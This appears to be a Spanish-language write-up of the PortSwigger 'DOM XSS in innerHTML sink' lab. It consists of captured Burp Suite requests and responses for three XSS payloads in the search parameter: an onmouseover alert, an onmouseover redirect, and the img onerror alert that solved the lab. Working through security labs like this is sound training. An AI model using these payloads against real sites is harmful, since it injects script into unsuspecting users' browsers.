CARGAMOS ESTE PAYLOAD EN SEARCH Y FUNCIONO PERO SE EJEJCUTA LUEGO DE ACARGAR EL DOM, AL PASAR EL MOUSE POR ENCIMA, POR ENDE NO M DIO EL APROVADO.
REQUEST PASANDO EL PAYLOAD CON BURPSUITE:
GET /?search=<a onmouseover="alert('P4IM0N')">PASA EL MOUSE AQUI MANITO aquí</a> HTTP/1.1
Host: 0a8d009804e62f178419964e00710047.web-security-academy.net
Cookie: session=ZuQUQiWzDhLCBH94WqB9yfbsTcQC0zgp
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="118", "Google Chrome";v="118", "Not=A?Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a8d009804e62f178419964e00710047.web-security-academy.net/?search=%3Ca+onmouseover%3D%22alert%28%27P4IM0N%27%29%22%3EHaz+clic+aqu%C3%AD%3C%2Fa%3E
Accept-Encoding: gzip, deflate, br
Accept-Language: es-419,es;q=0.9,en;q=0.8
Connection: close
RESPONSE:
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3708
<!DOCTYPE html>
<html>
<head>
<link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
<link href=/resources/css/labsBlog.css rel=stylesheet>
<title>DOM XSS in innerHTML sink using source location.search</title>
</head>
<body>
<script src="/resources/labheader/js/labHeader.js"></script>
<div id="academyLabHeader">
<section class='academyLabBanner'>
<div class=container>
<div class=logo></div>
<div class=title-container>
<h2>DOM XSS in <code>innerHTML</code> sink using source <code>location.search</code></h2>
<a class=link-back href='https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-innerhtml-sink'>
Back to lab description
<svg version=1.1 id=Layer_1 xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x=0px y=0px viewBox='0 0 28 30' enable-background='new 0 0 28 30' xml:space=preserve title=back-arrow>
<g>
<polygon points='1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15'></polygon>
<polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'></polygon>
</g>
</svg>
</a>
</div>
<div class='widgetcontainer-lab-status is-notsolved'>
<span>LAB</span>
<p>Not solved</p>
<span class=lab-status-icon></span>
</div>
</div>
</div>
</section>
</div>
<div theme="blog">
<section class="maincontainer">
<div class="container is-page">
<header class="navigation-header">
<section class="top-links">
<a href=/>Home</a><p>|</p>
</section>
</header>
<header class="notification-header">
</header>
<section class=blog-header>
<h1><span>0 search results for '</span><span id="searchMessage"></span><span>'</span></h1>
<script>
function doSearchQuery(query) {
document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
doSearchQuery(query);
}
</script>
<hr>
</section>
<section class=search>
<form action=/ method=GET>
<input type=text placeholder='Search the blog...' name=search>
<button type=submit class=button>Search</button>
</form>
</section>
<section class="blog-list no-results">
<div class=is-linkback>
<a href="/">Back to Blog</a>
</div>
</section>
</div>
</section>
<div class="footer-wrapper">
</div>
</div>
</body>
</html>
-----------------
CARGAMOS ESTE PAYLOAD EN SEARCH Y FUNCIONO PERO SE EJEJCUTA LUEGO DE ACARGAR EL DOM, AL PASAR EL MOUSE POR ENCIMA NOS DIRIGUE A LA PAGINA DE GOOGLE ASI COMO PODRIA SER EXPLOTANDOLO QUE DIORIJA A UN SITIO LMALISISO, POR ENDE NO M DIO EL APROVADO.
REQUEST PASANDO EL PAYLOAD CON BURPSUITE:
GET /?search=<a onmouseover="window.location.href = 'https://www.google.com'">PASA EL MOUSE QUI MANITO</a> HTTP/1.1
Host: 0a8d009804e62f178419964e00710047.web-security-academy.net
Cookie: session=ZuQUQiWzDhLCBH94WqB9yfbsTcQC0zgp
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="118", "Google Chrome";v="118", "Not=A?Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a8d009804e62f178419964e00710047.web-security-academy.net/?search=%3Ca+onmouseover%3D%22alert%28%27P4IM0N%27%29%22%3EHaz+clic+aqu%C3%AD%3C%2Fa%3E
Accept-Encoding: gzip, deflate, br
Accept-Language: es-419,es;q=0.9,en;q=0.8
Connection: close
RESPONSE:
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3708
<!DOCTYPE html>
<html>
<head>
<link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
<link href=/resources/css/labsBlog.css rel=stylesheet>
<title>DOM XSS in innerHTML sink using source location.search</title>
</head>
<body>
<script src="/resources/labheader/js/labHeader.js"></script>
<div id="academyLabHeader">
<section class='academyLabBanner'>
<div class=container>
<div class=logo></div>
<div class=title-container>
<h2>DOM XSS in <code>innerHTML</code> sink using source <code>location.search</code></h2>
<a class=link-back href='https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-innerhtml-sink'>
Back to lab description
<svg version=1.1 id=Layer_1 xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x=0px y=0px viewBox='0 0 28 30' enable-background='new 0 0 28 30' xml:space=preserve title=back-arrow>
<g>
<polygon points='1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15'></polygon>
<polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'></polygon>
</g>
</svg>
</a>
</div>
<div class='widgetcontainer-lab-status is-notsolved'>
<span>LAB</span>
<p>Not solved</p>
<span class=lab-status-icon></span>
</div>
</div>
</div>
</section>
</div>
<div theme="blog">
<section class="maincontainer">
<div class="container is-page">
<header class="navigation-header">
<section class="top-links">
<a href=/>Home</a><p>|</p>
</section>
</header>
<header class="notification-header">
</header>
<section class=blog-header>
<h1><span>0 search results for '</span><span id="searchMessage"></span><span>'</span></h1>
<script>
function doSearchQuery(query) {
document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
doSearchQuery(query);
}
</script>
<hr>
</section>
<section class=search>
<form action=/ method=GET>
<input type=text placeholder='Search the blog...' name=search>
<button type=submit class=button>Search</button>
</form>
</section>
<section class="blog-list no-results">
<div class=is-linkback>
<a href="/">Back to Blog</a>
</div>
</section>
</div>
</section>
<div class="footer-wrapper">
</div>
</div>
</body>
</html>
--------------
REUQEST QUE FUNCIONO SEGUN LO SOLICIATDO POR EL LABORATORIO, ESTE FUNCIONO POR QUE SE EJECUTA AUTOMATICAMENTE AL TENER UN ERROR EN LA CARGA DE LA IMG IMAGEN, Y SE LOGRA EJECUTAR EL ALERT ANTES DE QUE SE CARGU EL DOM DE EL SITIO, Y CON ESTE LO CONSEGUIMOS APROBAR:
GET /?search=<img src="ruta_de_la_imagen" onerror="alert('P4IM0N')"> HTTP/2
Host: 0a8d009804e62f178419964e00710047.web-security-academy.net
Cookie: session=ZuQUQiWzDhLCBH94WqB9yfbsTcQC0zgp
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="118", "Google Chrome";v="118", "Not=A?Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a8d009804e62f178419964e00710047.web-security-academy.net/?search=%3Ca+onmouseover%3D%22alert%28%27P4IM0N%27%29%22%3EHaz+clic+aqu%C3%AD%3C%2Fa%3E
Accept-Encoding: gzip, deflate, br
Accept-Language: es-419,es;q=0.9,en;q=0.8
///////////////////////////